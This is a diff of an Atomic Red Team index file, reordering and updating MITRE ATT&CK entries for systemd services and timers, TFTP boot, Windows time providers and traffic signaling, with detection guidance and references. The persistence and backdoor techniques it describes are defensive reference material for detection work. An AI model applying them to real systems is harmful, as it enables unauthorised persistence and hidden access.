-        description: Freedesktop.org. (2018, September 29). systemd System and Service
-          Manager. Retrieved April 23, 2019.
-      - source_name: Anomali Rocke March 2019
-        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
-        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
-          a New Malware Family Written in Golang. Retrieved April 24, 2019.
-      - source_name: Rapid7 Service Persistence 22JUNE2016
-        url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
-        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
-          23, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-10-09T13:46:29.701Z'
-      created: '2020-01-17T16:15:19.870Z'
-      x_mitre_platforms:
-      - Linux
+      x_mitre_contributors:
+      - Tony Lambert, Red Canary
       x_mitre_detection: |-
         Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
 
         Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -–type=service –all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.
 
         Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Service: Service Creation'
-      - 'Service: Service Modification'
-      x_mitre_contributors:
-      - Tony Lambert, Red Canary
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/002
+        external_id: T1543.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/550.html
+        external_id: CAPEC-550
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/551.html
+        external_id: CAPEC-551
+        source_name: capec
+      - url: http://man7.org/linux/man-pages/man1/systemd.1.html
+        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
+          Retrieved April 23, 2019.
+        source_name: 'Linux man-pages: systemd January 2014'
+      - url: https://www.freedesktop.org/wiki/Software/systemd/
+        description: Freedesktop.org. (2018, September 29). systemd System and Service
+          Manager. Retrieved April 23, 2019.
+        source_name: Freedesktop.org Linux systemd 29SEP2018
+      - url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
+        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
+          a New Malware Family Written in Golang. Retrieved April 24, 2019.
+        source_name: Anomali Rocke March 2019
+      - url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
+        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
+          23, 2019.
+        source_name: Rapid7 Service Persistence 22JUNE2016
       identifier: T1543.002
     atomic_tests:
     - name: Create Systemd Service
@@ -51165,42 +52671,33 @@ persistence:
           systemctl daemon-reload
   T1053.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Systemd Timers
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-27T16:43:25.027Z'
+      created: '2020-10-12T17:50:31.584Z'
+      x_mitre_contributors:
+      - SarathKumar Rajendran, Trimble Inc
       id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
-        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
+        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
 
         Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.
 
         An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
-      name: Systemd Timers
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.006
-        url: https://attack.mitre.org/techniques/T1053/006
-      - source_name: archlinux Systemd Timers Aug 2020
-        url: https://wiki.archlinux.org/index.php/Systemd/Timers
-        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
-          12, 2020.
-      - source_name: 'Linux man-pages: systemd January 2014'
-        url: http://man7.org/linux/man-pages/man1/systemd.1.html
-        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
-          Retrieved April 23, 2019.
-      - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
-          AUR Package Repository. Retrieved April 23, 2019.
-        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
-        source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
-      - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
-          Arch package compromise. Retrieved April 23, 2019.
-        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
-        source_name: gist Arch package compromise 10JUL2018
-      - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
-          April 23, 2019.
-        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
-        source_name: acroread package compromised Arch Linux Mail 8JUL2018
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -51208,28 +52705,42 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-10-14T15:20:00.754Z'
-      created: '2020-10-12T17:50:31.584Z'
-      x_mitre_platforms:
-      - Linux
-      x_mitre_contributors:
-      - SarathKumar Rajendran, Trimble Inc
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
 
         Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.
 
         Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/006
+        external_id: T1053.006
+        source_name: mitre-attack
+      - url: https://wiki.archlinux.org/index.php/Systemd/Timers
+        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
+          12, 2020.
+        source_name: archlinux Systemd Timers Aug 2020
+      - url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/
+        description: Aaron Kili. (2018, January 16). How to Control Systemd Services
+          on Remote Linux Server. Retrieved July 26, 2021.
+        source_name: Systemd Remote Control
+      - url: http://man7.org/linux/man-pages/man1/systemd.1.html
+        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
+          Retrieved April 23, 2019.
+        source_name: 'Linux man-pages: systemd January 2014'
+      - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
+        description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
+          AUR Package Repository. Retrieved April 23, 2019.
+        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
+      - source_name: gist Arch package compromise 10JUL2018
+        description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
+          Arch package compromise. Retrieved April 23, 2019.
+        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
+      - source_name: acroread package compromised Arch Linux Mail 8JUL2018
+        description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
+          April 23, 2019.
+        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
       identifier: T1053.006
     atomic_tests:
     - name: Create Systemd Service and Timer
@@ -51344,133 +52855,172 @@ persistence:
         name: sh
   T1542.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.005
-        url: https://attack.mitre.org/techniques/T1542/005
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Secure Boot
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
-          Boot. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Command History
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
-          History. Retrieved October 21, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Boot Information
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
-          Information. Retrieved October 21, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: TFTP Boot
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T16:35:53.806Z'
+      created: '2020-10-20T00:06:56.180Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
       description: |-
         Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.
 
         Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
-      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-10-22T16:35:53.806Z'
-      created: '2020-10-20T00:06:56.180Z'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Firmware: Firmware Modification'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
 
         Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/005
+        external_id: T1542.005
+        source_name: mitre-attack
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
+          Boot. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Secure Boot
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
+          History. Retrieved October 21, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Command History
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
+          Information. Retrieved October 21, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Boot Information
     atomic_tests: []
   T1547.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.003
-        url: https://attack.mitre.org/techniques/T1547/003
-      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
-        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
-          Retrieved March 26, 2018.
-        source_name: Microsoft W32Time Feb 2018
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
-        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
-        source_name: Microsoft TimeProvider
-      - url: https://github.com/scottlundgren/w32time
-        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
-          2018.
-        source_name: Github W32Time Oct 2017
-      - url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
-        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
-          Retrieved March 26, 2018.
-        source_name: Microsoft W32Time May 2017
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Time Providers
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T15:24:26.476Z'
+      created: '2020-01-24T15:51:52.317Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
       description: |-
         Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
 
         Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
 
         Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
-      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-25T15:24:26.476Z'
-      created: '2020-01-24T15:51:52.317Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
+      x_mitre_contributors:
+      - Scott Lundgren, @5twenty9, Carbon Black
       x_mitre_detection: |-
         Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)
 
         The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Scott Lundgren, @5twenty9, Carbon Black
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/003
+        external_id: T1547.003
+        source_name: mitre-attack
+      - source_name: Microsoft W32Time Feb 2018
+        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
+          Retrieved March 26, 2018.
+        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
+      - source_name: Microsoft TimeProvider
+        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
+      - source_name: Github W32Time Oct 2017
+        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
+          2018.
+        url: https://github.com/scottlundgren/w32time
+      - source_name: Microsoft W32Time May 2017
+        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
+          Retrieved March 26, 2018.
+        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
     atomic_tests: []
   T1205:
     technique:
-      created: '2018-04-18T17:59:24.739Z'
+      type: attack-pattern
       modified: '2021-02-17T14:23:49.495Z'
+      name: Traffic Signaling
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1205
+        external_id: T1205
+        source_name: mitre-attack
+      - source_name: Hartrell cd00r 2002
+        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
+          backdoor. Retrieved October 13, 2018.'
+        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
+        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
+          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
+        source_name: FireEye - Synful Knock
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
+        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
+          To Encrypt Offline Devices. Retrieved February 11, 2021.
+        source_name: Bleeping Computer - Ryuk WoL
+      - url: https://www.amd.com/system/files/TechDocs/20213.pdf
+        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
+          Retrieved February 17, 2021.
+        source_name: AMD Magic Packet
+      - url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
+        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
+          17, 2021.
+        source_name: GitLab WakeOnLAN
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.2'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -51478,41 +53028,14 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1205
-        url: https://attack.mitre.org/techniques/T1205
-      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
-        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
-          backdoor. Retrieved October 13, 2018.'
-        source_name: Hartrell cd00r 2002
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: FireEye - Synful Knock
-        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
-        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
-          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: Bleeping Computer - Ryuk WoL
-        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
-        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
-          To Encrypt Offline Devices. Retrieved February 11, 2021.
-      - source_name: AMD Magic Packet
-        url: https://www.amd.com/system/files/TechDocs/20213.pdf
-        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
-          Retrieved February 17, 2021.
-      - source_name: GitLab WakeOnLAN
-        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
-        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
-          17, 2021.
+      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
+      revoked: false
+      x_mitre_defense_bypassed:
+      - Defensive network service scanning
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.
 
@@ -51523,51 +53046,45 @@ persistence:
         On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.
 
         Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)
-      name: Traffic Signaling
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
-      revoked: false
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.2'
-      x_mitre_defense_bypassed:
-      - Defensive network service scanning
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Josh Day, Gigamon
       x_mitre_detection: |-
         Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
 
         The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_contributors:
-      - Josh Day, Gigamon
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1505.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1505.002
-        url: https://attack.mitre.org/techniques/T1505/002
-      - source_name: Microsoft TransportAgent Jun 2016
-        url: https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
-        description: Microsoft. (2016, June 1). Transport agents. Retrieved June 24,
-          2019.
-      - source_name: ESET LightNeuron May 2019
-        url: https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
-        description: 'Faou, M. (2019, May). Turla LightNeuron: One email away from
-          remote code execution. Retrieved June 24, 2019.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
